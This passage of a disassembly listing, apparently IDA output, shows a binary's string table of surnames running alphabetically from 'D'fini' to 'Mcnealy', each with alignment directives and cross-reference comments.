aDFini db 'D',27h,'fini',0 ; DATA XREF: _2:00447230o
align 4
aDicks db 'Dicks',0 ; DATA XREF: _2:00447234o
align 10h
aDiefenbach db 'Diefenbach',0 ; DATA XREF: _2:00447238o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: _2:0044723Co
aDifronzo db 'Difronzo',0 ; DATA XREF: _2:00447240o
align 10h
aDilworth db 'Dilworth',0 ; DATA XREF: _2:00447244o
align 4
aDionysius db 'Dionysius',0 ; DATA XREF: _2:00447248o
align 4
aDirksen db 'Dirksen',0 ; DATA XREF: _2:0044724Co
aDockery db 'Dockery',0 ; DATA XREF: _2:00447250o
aDoherty db 'Doherty',0 ; DATA XREF: _2:00447254o
aDonahue db 'Donahue',0 ; DATA XREF: _2:00447258o
aDonner db 'Donner',0 ; DATA XREF: _2:0044725Co
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: _2:00447260o
align 4
aDore db 'Dore',0 ; DATA XREF: _2:00447264o
align 10h
aDorf db 'Dorf',0 ; DATA XREF: _2:00447268o
align 4
aDosi db 'Dosi',0 ; DATA XREF: _2:0044726Co
align 10h
aDoty db 'Doty',0 ; DATA XREF: _2:00447270o
align 4
aDoug db 'Doug',0 ; DATA XREF: _2:00447274o
align 10h
aDowsland db 'Dowsland',0 ; DATA XREF: _2:00447278o
align 4
aDrinker db 'Drinker',0 ; DATA XREF: _2:0044727Co
aDSouza db 'D',27h,'souza',0 ; DATA XREF: _2:00447280o
aDuffin db 'Duffin',0 ; DATA XREF: _2:00447284o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: _2:00447288o
aDussault db 'Dussault',0 ; DATA XREF: _2:0044728Co
align 4
aDwyer db 'Dwyer',0 ; DATA XREF: _2:00447290o
align 10h
aEardley db 'Eardley',0 ; DATA XREF: _2:00447294o
aEbeling db 'Ebeling',0 ; DATA XREF: _2:00447298o
aEckel db 'Eckel',0 ; DATA XREF: _2:0044729Co
align 4
aEdley db 'Edley',0 ; DATA XREF: _2:004472A0o
align 10h
aEdner db 'Edner',0 ; DATA XREF: _2:004472A4o
align 4
aEdward db 'Edward',0 ; DATA XREF: _2:004472A8o
align 10h
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: _2:004472ACo
aEliasson db 'Eliasson',0 ; DATA XREF: _2:004472B0o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: _2:004472B4o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: _2:004472B8o
align 10h
aElvis db 'Elvis',0 ; DATA XREF: _2:004472BCo
align 4
aEncinas db 'Encinas',0 ; DATA XREF: _2:004472C0o
aEnyeart db 'Enyeart',0 ; DATA XREF: _2:004472C4o
aEppling db 'Eppling',0 ; DATA XREF: _2:004472C8o
aErbach db 'Erbach',0 ; DATA XREF: _2:004472CCo
align 4
aErdman db 'Erdman',0 ; DATA XREF: _2:004472D0o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: _2:004472D4o
align 4
aErez db 'Erez',0 ; DATA XREF: _2:004472D8o
align 10h
aEspinoza db 'Espinoza',0 ; DATA XREF: _2:004472DCo
align 4
aEstes db 'Estes',0 ; DATA XREF: _2:004472E0o
align 4
aEtter db 'Etter',0 ; DATA XREF: _2:004472E4o
align 4
aEuripides db 'Euripides',0 ; DATA XREF: _2:004472E8o
align 4
aEverett db 'Everett',0 ; DATA XREF: _2:004472ECo
aFabbris db 'Fabbris',0 ; DATA XREF: _2:004472F0o
aFagan db 'Fagan',0 ; DATA XREF: _2:004472F4o
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: _2:004472F8o
align 4
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: _2:004472FCo
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: _2:00447300o
aFaris db 'Faris',0 ; DATA XREF: _2:00447304o
align 4
aFarone db 'Farone',0 ; DATA XREF: _2:00447308o
align 10h
aFarren db 'Farren',0 ; DATA XREF: _2:0044730Co
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: _2:00447310o
align 10h
aFates db 'Fates',0 ; DATA XREF: _2:00447314o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: _2:00447318o
align 4
aFejzo db 'Fejzo',0 ; DATA XREF: _2:0044731Co
align 4
aFeldman db 'Feldman',0 ; DATA XREF: _2:00447320o
aFernald db 'Fernald',0 ; DATA XREF: _2:00447324o
aFernandes db 'Fernandes',0 ; DATA XREF: _2:00447328o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: _2:0044732Co
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: _2:00447330o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: _2:00447334o
align 4
aFido db 'Fido',0 ; DATA XREF: _2:00447338o
align 10h
aField db 'Field',0 ; DATA XREF: _2:0044733Co
align 4
aFink db 'Fink',0 ; DATA XREF: _2:00447340o
align 10h
aFinkelstein db 'Finkelstein',0 ; DATA XREF: _2:00447344o
aFinnegan db 'Finnegan',0 ; DATA XREF: _2:00447348o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: _2:0044734Co
aFisk db 'Fisk',0 ; DATA XREF: _2:00447350o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: _2:00447354o
aFlier db 'Flier',0 ; DATA XREF: _2:00447358o
align 4
aFlores db 'Flores',0 ; DATA XREF: _2:0044735Co
align 4
aFolks db 'Folks',0 ; DATA XREF: _2:00447360o
align 4
aForester db 'Forester',0 ; DATA XREF: _2:00447364o
align 4
aFortes db 'Fortes',0 ; DATA XREF: _2:00447368o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: _2:0044736Co
aFossey db 'Fossey',0 ; DATA XREF: _2:00447370o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: _2:00447374o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: _2:00447378o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: _2:0044737Co
align 4
aFranz db 'Franz',0 ; DATA XREF: _2:00447380o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: _2:00447384o
align 4
aFreid db 'Freid',0 ; DATA XREF: _2:00447388o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: _2:0044738Co
align 10h
aFried db 'Fried',0 ; DATA XREF: _2:00447390o
align 4
aFriedland db 'Friedland',0 ; DATA XREF: _2:00447394o
align 4
aFrisken db 'Frisken',0 ; DATA XREF: _2:00447398o
aFrowiss db 'Frowiss',0 ; DATA XREF: _2:0044739Co
aFryberger db 'Fryberger',0 ; DATA XREF: _2:004473A0o
align 10h
aFrye db 'Frye',0 ; DATA XREF: _2:004473A4o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: _2:004473A8o
align 4
aFuller db 'Fuller',0 ; DATA XREF: _2:004473ACo
align 4
aFurth db 'Furth',0 ; DATA XREF: _2:004473B0o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: _2:004473B4o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: _2:004473B8o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: _2:004473BCo
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: _2:004473C0o
align 10h
aGalwey db 'Galwey',0 ; DATA XREF: _2:004473C4o
align 4
aGambini db 'Gambini',0 ; DATA XREF: _2:004473C8o
aGarfield db 'Garfield',0 ; DATA XREF: _2:004473CCo
align 4
aGarman db 'Garman',0 ; DATA XREF: _2:004473D0o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: _2:004473D4o
aGeller db 'Geller',0 ; DATA XREF: _2:004473D8o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: _2:004473DCo
align 10h
aGeorgi db 'Georgi',0 ; DATA XREF: _2:004473E0o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: _2:004473E4o
aGhorai db 'Ghorai',0 ; DATA XREF: _2:004473E8o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: _2:004473ECo
aGibson db 'Gibson',0 ; DATA XREF: _2:004473F0o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: _2:004473F4o
aGili db 'Gili',0 ; DATA XREF: _2:004473F8o
align 4
aGill db 'Gill',0 ; DATA XREF: _2:004473FCo
align 10h
aGillispie db 'Gillispie',0 ; DATA XREF: _2:00447400o
align 4
aGist db 'Gist',0 ; DATA XREF: _2:00447404o
align 4
aGleason db 'Gleason',0 ; DATA XREF: _2:00447408o
aGlegg db 'Glegg',0 ; DATA XREF: _2:0044740Co
align 4
aGlendon db 'Glendon',0 ; DATA XREF: _2:00447410o
aGoldfarb db 'Goldfarb',0 ; DATA XREF: _2:00447414o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: _2:00447418o
align 4
aGood db 'Good',0 ; DATA XREF: _2:0044741Co
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: _2:00447420o
align 4
aGoody db 'Goody',0 ; DATA XREF: _2:00447424o
align 10h
aGozzi db 'Gozzi',0 ; DATA XREF: _2:00447428o
align 4
aGravell db 'Gravell',0 ; DATA XREF: _2:0044742Co
aGreenberg db 'Greenberg',0 ; DATA XREF: _2:00447430o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: _2:00447434o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: _2:00447438o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: _2:0044743Co
align 10h
aGrummell db 'Grummell',0 ; DATA XREF: _2:00447440o
align 4
aGruner db 'Gruner',0 ; DATA XREF: _2:00447444o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: _2:00447448o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: _2:0044744Co
align 4
aGunn db 'Gunn',0 ; DATA XREF: _2:00447450o
align 10h
aGuo db 'Guo',0 ; DATA XREF: _2:00447454o
aHa db 'Ha',0 ; DATA XREF: _2:00447458o
align 4
aHaar db 'Haar',0 ; DATA XREF: _2:0044745Co
align 10h
aHackman db 'Hackman',0 ; DATA XREF: _2:00447460o
aHackshaw db 'Hackshaw',0 ; DATA XREF: _2:00447464o
align 4
aHaley db 'Haley',0 ; DATA XREF: _2:00447468o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: _2:0044746Co
aHallowell db 'Hallowell',0 ; DATA XREF: _2:00447470o _2:004548D8o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: _2:00447474o
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: _2:00447478o
align 4
aHamer db 'Hamer',0 ; DATA XREF: _2:0044747Co
align 10h
aHammerness db 'Hammerness',0 ; DATA XREF: _2:00447480o
align 4
aHand db 'Hand',0 ; DATA XREF: _2:00447484o
align 4
aHanssen db 'Hanssen',0 ; DATA XREF: _2:00447488o
aHarding db 'Harding',0 ; DATA XREF: _2:0044748Co
aHargraves db 'Hargraves',0 ; DATA XREF: _2:00447490o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: _2:00447494o
align 4
aHarrigan db 'Harrigan',0 ; DATA XREF: _2:00447498o
align 4
aHartman db 'Hartman',0 ; DATA XREF: _2:0044749Co
aHartmann db 'Hartmann',0 ; DATA XREF: _2:004474A0o
align 4
aHartnett db 'Hartnett',0 ; DATA XREF: _2:004474A4o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: _2:004474A8o
aHaviaras db 'Haviaras',0 ; DATA XREF: _2:004474ACo
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: _2:004474B0o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: _2:004474B4o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: _2:004474B8o
align 10h
aHazlewood db 'Hazlewood',0 ; DATA XREF: _2:004474BCo
align 4
aHeermans db 'Heermans',0 ; DATA XREF: _2:004474C0o
align 4
aHeft db 'Heft',0 ; DATA XREF: _2:004474C4o
align 10h
aHeiland db 'Heiland',0 ; DATA XREF: _2:004474C8o
aHellman db 'Hellman',0 ; DATA XREF: _2:004474CCo
aHellmiss db 'Hellmiss',0 ; DATA XREF: _2:004474D0o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: _2:004474D4o
aHemphill db 'Hemphill',0 ; DATA XREF: _2:004474D8o
align 10h
aHenery db 'Henery',0 ; DATA XREF: _2:004474DCo
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: _2:004474E0o
align 4
aHernandez db 'Hernandez',0 ; DATA XREF: _2:004474E4o
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: _2:004474E8o
aHester db 'Hester',0 ; DATA XREF: _2:004474ECo
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: _2:004474F0o
aHeyeck db 'Heyeck',0 ; DATA XREF: _2:004474F4o
align 10h
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: _2:004474F8o
align 4
aHind db 'Hind',0 ; DATA XREF: _2:004474FCo
align 4
aHirst db 'Hirst',0 ; DATA XREF: _2:00447500o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: _2:00447504o
align 4
aHoang db 'Hoang',0 ; DATA XREF: _2:00447508o
align 10h
aHock db 'Hock',0 ; DATA XREF: _2:0044750Co
align 4
aHoffer db 'Hoffer',0 ; DATA XREF: _2:00447510o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: _2:00447514o
aHokanson db 'Hokanson',0 ; DATA XREF: _2:00447518o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: _2:0044751Co
align 4
aHolmes db 'Holmes',0 ; DATA XREF: _2:00447520o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: _2:00447524o
aHolter db 'Holter',0 ; DATA XREF: _2:00447528o
align 4
aHolway db 'Holway',0 ; DATA XREF: _2:0044752Co
align 4
aHolzman db 'Holzman',0 ; DATA XREF: _2:00447530o
aHooker db 'Hooker',0 ; DATA XREF: _2:00447534o
align 4
aHopkins db 'Hopkins',0 ; DATA XREF: _2:00447538o
aHorsley db 'Horsley',0 ; DATA XREF: _2:0044753Co
aHoshida db 'Hoshida',0 ; DATA XREF: _2:00447540o
aHostage db 'Hostage',0 ; DATA XREF: _2:00447544o
aHottle db 'Hottle',0 ; DATA XREF: _2:00447548o
align 4
aHoward db 'Howard',0 ; DATA XREF: _2:0044754Co
align 4
aHoy db 'Hoy',0 ; DATA XREF: _2:00447550o
aHuey db 'Huey',0 ; DATA XREF: _2:00447554o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: _2:00447558o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: _2:0044755Co
align 10h
aHuntington db 'Huntington',0 ; DATA XREF: _2:00447560o
align 4
aHupp db 'Hupp',0 ; DATA XREF: _2:00447564o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: _2:00447568o
align 10h
aHutchings db 'Hutchings',0 ; DATA XREF: _2:0044756Co
align 4
aHyde db 'Hyde',0 ; DATA XREF: _2:00447570o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: _2:00447574o
align 10h
aIchikawa db 'Ichikawa',0 ; DATA XREF: _2:00447578o
align 4
aIgarashi db 'Igarashi',0 ; DATA XREF: _2:0044757Co
align 4
aInamura db 'Inamura',0 ; DATA XREF: _2:00447580o
aInniss db 'Inniss',0 ; DATA XREF: _2:00447584o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: _2:00447588o
align 10h
aIsaievych db 'Isaievych',0 ; DATA XREF: _2:0044758Co
align 4
aIsbill db 'Isbill',0 ; DATA XREF: _2:00447590o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: _2:00447594o
align 10h
aIyer db 'Iyer',0 ; DATA XREF: _2:00447598o
align 4
aJacenko db 'Jacenko',0 ; DATA XREF: _2:0044759Co
aJackson db 'Jackson',0 ; DATA XREF: _2:004475A0o
aJagers db 'Jagers',0 ; DATA XREF: _2:004475A4o
align 10h
aJagger db 'Jagger',0 ; DATA XREF: _2:004475A8o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: _2:004475ACo
align 10h
aJain db 'Jain',0 ; DATA XREF: _2:004475B0o
align 4
aJamil db 'Jamil',0 ; DATA XREF: _2:004475B4o
align 10h
aJanjigian db 'Janjigian',0 ; DATA XREF: _2:004475B8o
align 4
aJarnagin db 'Jarnagin',0 ; DATA XREF: _2:004475BCo
align 4
aJarrell db 'Jarrell',0 ; DATA XREF: _2:004475C0o
aJay db 'Jay',0 ; DATA XREF: _2:004475C4o
aJeffers db 'Jeffers',0 ; DATA XREF: _2:004475C8o
aJellis db 'Jellis',0 ; DATA XREF: _2:004475CCo
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: _2:004475D0o
aJespersen db 'Jespersen',0 ; DATA XREF: _2:004475D4o
align 4
aJewett db 'Jewett',0 ; DATA XREF: _2:004475D8o
align 10h
aJohannesson db 'Johannesson',0 ; DATA XREF: _2:004475DCo
aJohannsen db 'Johannsen',0 ; DATA XREF: _2:004475E0o
align 4
aJohns db 'Johns',0 ; DATA XREF: _2:004475E4o
align 10h
aJolly db 'Jolly',0 ; DATA XREF: _2:004475E8o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: _2:004475ECo
align 4
aJucks db 'Jucks',0 ; DATA XREF: _2:004475F0o
align 4
aJuliano db 'Juliano',0 ; DATA XREF: _2:004475F4o
aJulious db 'Julious',0 ; DATA XREF: _2:004475F8o
aKabbash db 'Kabbash',0 ; DATA XREF: _2:004475FCo
aKaboolian db 'Kaboolian',0 ; DATA XREF: _2:00447600o
align 10h
aKafadar db 'Kafadar',0 ; DATA XREF: _2:00447604o
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: _2:00447608o
aKaligian db 'Kaligian',0 ; DATA XREF: _2:0044760Co
align 10h
aKalil db 'Kalil',0 ; DATA XREF: _2:00447610o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: _2:00447614o
align 4
aKalman db 'Kalman',0 ; DATA XREF: _2:00447618o
align 4
aKamel db 'Kamel',0 ; DATA XREF: _2:0044761Co
align 4
aKangis db 'Kangis',0 ; DATA XREF: _2:00447620o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: _2:00447624o
align 4
aKassower db 'Kassower',0 ; DATA XREF: _2:00447628o
; _2:off_44A514o
align 4
aKasten db 'Kasten',0 ; DATA XREF: _2:0044762Co
align 4
aKawachi db 'Kawachi',0 ; DATA XREF: _2:00447630o
aKee db 'Kee',0 ; DATA XREF: _2:00447634o
aKeenan db 'Keenan',0 ; DATA XREF: _2:00447638o
align 10h
aKeepper db 'Keepper',0 ; DATA XREF: _2:0044763Co
aKeith db 'Keith',0 ; DATA XREF: _2:00447640o
align 10h
aKelker db 'Kelker',0 ; DATA XREF: _2:00447644o
align 4
aKelsey db 'Kelsey',0 ; DATA XREF: _2:00447648o
align 10h
aKempton db 'Kempton',0 ; DATA XREF: _2:0044764Co
aKemsley db 'Kemsley',0 ; DATA XREF: _2:00447650o
aKendall db 'Kendall',0 ; DATA XREF: _2:00447654o
aKerry db 'Kerry',0 ; DATA XREF: _2:00447658o
align 10h
aKeul db 'Keul',0 ; DATA XREF: _2:0044765Co
align 4
aKhong db 'Khong',0 ; DATA XREF: _2:00447660o
align 10h
aKimmel db 'Kimmel',0 ; DATA XREF: _2:00447664o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: _2:00447668o
aKimura db 'Kimura',0 ; DATA XREF: _2:0044766Co
align 4
aKindall db 'Kindall',0 ; DATA XREF: _2:00447670o
aKinsley db 'Kinsley',0 ; DATA XREF: _2:00447674o
aKippenberger db 'Kippenberger',0 ; DATA XREF: _2:00447678o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: _2:0044767Co
aKittridge db 'Kittridge',0 ; DATA XREF: _2:00447680o
align 4
aKleckner db 'Kleckner',0 ; DATA XREF: _2:00447684o
align 4
aKleiman db 'Kleiman',0 ; DATA XREF: _2:00447688o
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: _2:0044768Co
aKlemperer db 'Klemperer',0 ; DATA XREF: _2:00447690o
align 4
aKling db 'Kling',0 ; DATA XREF: _2:00447694o
align 10h
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: _2:00447698o
aKlint db 'Klint',0 ; DATA XREF: _2:0044769Co
align 4
aKnuff db 'Knuff',0 ; DATA XREF: _2:004476A0o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: _2:004476A4o
aKoch db 'Koch',0 ; DATA XREF: _2:004476A8o
align 4
aKohn db 'Kohn',0 ; DATA XREF: _2:004476ACo
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: _2:004476B0o
align 10h
aKommer db 'Kommer',0 ; DATA XREF: _2:004476B4o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: _2:004476B8o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: _2:004476BCo
align 4
aKool db 'Kool',0 ; DATA XREF: _2:004476C0o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: _2:004476C4o
align 10h
aKotter db 'Kotter',0 ; DATA XREF: _2:004476C8o
align 4
aKovaks db 'Kovaks',0 ; DATA XREF: _2:004476CCo
align 10h
aKraemer db 'Kraemer',0 ; DATA XREF: _2:004476D0o
aKrailo db 'Krailo',0 ; DATA XREF: _2:004476D4o
align 10h
aKrasney db 'Krasney',0 ; DATA XREF: _2:004476D8o
aKraus db 'Kraus',0 ; DATA XREF: _2:004476DCo
align 10h
aKroemer db 'Kroemer',0 ; DATA XREF: _2:004476E0o
aKrysiak db 'Krysiak',0 ; DATA XREF: _2:004476E4o
aKuenzli db 'Kuenzli',0 ; DATA XREF: _2:004476E8o
aKumar db 'Kumar',0 ; DATA XREF: _2:004476ECo
align 10h
aKusman db 'Kusman',0 ; DATA XREF: _2:004476F0o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: _2:004476F4o
align 4
aLa db 'La',0 ; DATA XREF: _2:004476F8o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: _2:004476FCo
aLafler db 'Lafler',0 ; DATA XREF: _2:00447700o
align 4
aLaing db 'Laing',0 ; DATA XREF: _2:00447704o
align 10h
aLallemant db 'Lallemant',0 ; DATA XREF: _2:00447708o
align 4
aLandes db 'Landes',0 ; DATA XREF: _2:0044770Co
align 4
aLankes db 'Lankes',0 ; DATA XREF: _2:00447710o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: _2:00447714o
align 4
aLanzit db 'Lanzit',0 ; DATA XREF: _2:00447718o
align 10h
aLaserna db 'Laserna',0 ; DATA XREF: _2:0044771Co
aLashley db 'Lashley',0 ; DATA XREF: _2:00447720o
aLawless db 'Lawless',0 ; DATA XREF: _2:00447724o
aLecar db 'Lecar',0 ; DATA XREF: _2:00447728o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: _2:0044772Co
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: _2:00447730o
align 4
aLeite db 'Leite',0 ; DATA XREF: _2:00447734o
align 4
aLenard db 'Lenard',0 ; DATA XREF: _2:00447738o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: _2:0044773Co
align 10h
aLesser db 'Lesser',0 ; DATA XREF: _2:00447740o
align 4
aLessi db 'Lessi',0 ; DATA XREF: _2:00447744o
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: _2:00447748o
align 4
aLidano db 'Lidano',0 ; DATA XREF: _2:0044774Co
align 10h
aLiem db 'Liem',0 ; DATA XREF: _2:00447750o
align 4
aLight db 'Light',0 ; DATA XREF: _2:00447754o
align 10h
aLightfoot db 'Lightfoot',0 ; DATA XREF: _2:00447758o
align 4
aLim db 'Lim',0 ; DATA XREF: _2:0044775Co
aLinares db 'Linares',0 ; DATA XREF: _2:00447760o
aLinda db 'Linda',0 ; DATA XREF: _2:00447764o
align 10h
aLinder db 'Linder',0 ; DATA XREF: _2:00447768o
align 4
aLine_0 db 'Line',0 ; DATA XREF: _2:0044776Co
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: _2:00447770o
aLinzee db 'Linzee',0 ; DATA XREF: _2:00447774o
align 10h
aLippmann db 'Lippmann',0 ; DATA XREF: _2:00447778o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: _2:0044777Co
align 4
aLittle db 'Little',0 ; DATA XREF: _2:00447780o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: _2:00447784o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: _2:00447788o
align 4
aLivi db 'Livi',0 ; DATA XREF: _2:0044778Co
align 4
aLivolsi db 'Livolsi',0 ; DATA XREF: _2:00447790o
aLizardo db 'Lizardo',0 ; DATA XREF: _2:00447794o
aLocatelli db 'Locatelli',0 ; DATA XREF: _2:00447798o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: _2:0044779Co
align 4
aLoss db 'Loss',0 ; DATA XREF: _2:004477A0o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: _2:004477A4o
aLowenstein db 'Lowenstein',0 ; DATA XREF: _2:004477A8o
align 10h
aLoza db 'Loza',0 ; DATA XREF: _2:004477ACo
align 4
aLubin db 'Lubin',0 ; DATA XREF: _2:004477B0o
align 10h
aLucas db 'Lucas',0 ; DATA XREF: _2:004477B4o
align 4
aLuciano db 'Luciano',0 ; DATA XREF: _2:004477B8o
aLuczkow db 'Luczkow',0 ; DATA XREF: _2:004477BCo
aLuecke db 'Luecke',0 ; DATA XREF: _2:004477C0o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: _2:004477C4o
aLuoma db 'Luoma',0 ; DATA XREF: _2:004477C8o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: _2:004477CCo
aLutcavage db 'Lutcavage',0 ; DATA XREF: _2:004477D0o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: _2:004477D4o
aMa db 'Ma',0 ; DATA XREF: _2:004477D8o
align 10h
aMaccormac db 'Maccormac',0 ; DATA XREF: _2:004477DCo
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: _2:004477E0o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: _2:004477E4o
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: _2:004477E8o
align 10h
aMackenney db 'Mackenney',0 ; DATA XREF: _2:004477ECo
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: _2:004477F0o
align 4
aMacy db 'Macy',0 ; DATA XREF: _2:004477F4o
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: _2:004477F8o
aMaggio db 'Maggio',0 ; DATA XREF: _2:004477FCo
align 10h
aMahony db 'Mahony',0 ; DATA XREF: _2:00447800o
align 4
aMaier db 'Maier',0 ; DATA XREF: _2:00447804o
align 10h
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: _2:00447808o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: _2:0044780Co
aMalatesta db 'Malatesta',0 ; DATA XREF: _2:00447810o
align 4
aMaller db 'Maller',0 ; DATA XREF: _2:00447814o
align 4
aMalova db 'Malova',0 ; DATA XREF: _2:00447818o
align 4
aManalis db 'Manalis',0 ; DATA XREF: _2:0044781Co
aMandel db 'Mandel',0 ; DATA XREF: _2:00447820o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: _2:00447824o
aMantovan db 'Mantovan',0 ; DATA XREF: _2:00447828o
align 4
aMarch_0 db 'March',0 ; DATA XREF: _2:0044782Co
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: _2:00447830o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: _2:00447834o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: _2:00447838o
align 4
aMargetts db 'Margetts',0 ; DATA XREF: _2:0044783Co
align 10h
aMarques db 'Marques',0 ; DATA XREF: _2:00447840o
aMartinez db 'Martinez',0 ; DATA XREF: _2:00447844o
align 4
aMartochio db 'Martochio',0 ; DATA XREF: _2:00447848o
align 10h
aMarton db 'Marton',0 ; DATA XREF: _2:0044784Co
align 4
aMarubini db 'Marubini',0 ; DATA XREF: _2:00447850o
align 4
aMass db 'Mass',0 ; DATA XREF: _2:00447854o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: _2:00447858o
aMatarazzo db 'Matarazzo',0 ; DATA XREF: _2:0044785Co
align 10h
aMatsukata db 'Matsukata',0 ; DATA XREF: _2:00447860o
align 4
aMattson db 'Mattson',0 ; DATA XREF: _2:00447864o
aMauzy db 'Mauzy',0 ; DATA XREF: _2:00447868o
align 4
aMay_0 db 'May',0 ; DATA XREF: _2:0044786Co
aMazzali db 'Mazzali',0 ; DATA XREF: _2:00447870o
aMazziotta db 'Mazziotta',0 ; DATA XREF: _2:00447874o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: _2:00447878o
aMccaffery db 'Mccaffery',0 ; DATA XREF: _2:0044787Co
align 4
aMccall db 'Mccall',0 ; DATA XREF: _2:00447880o
align 10h
aMcclearn db 'Mcclearn',0 ; DATA XREF: _2:00447884o
align 4
aMcdowell db 'Mcdowell',0 ; DATA XREF: _2:00447888o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: _2:0044788Co
aMcfadden db 'McFadden',0 ; DATA XREF: _2:00447890o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: _2:00447894o
align 4
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: _2:00447898o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: _2:0044789Co
aMcintosh db 'Mcintosh',0 ; DATA XREF: _2:004478A0o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: _2:004478A4o
aMclane db 'Mclane',0 ; DATA XREF: _2:004478A8o
align 4
aMclaren db 'Mclaren',0 ; DATA XREF: _2:004478ACo
aMcnealy db 'Mcnealy',0 ; DATA XREF: _2:004478B0o
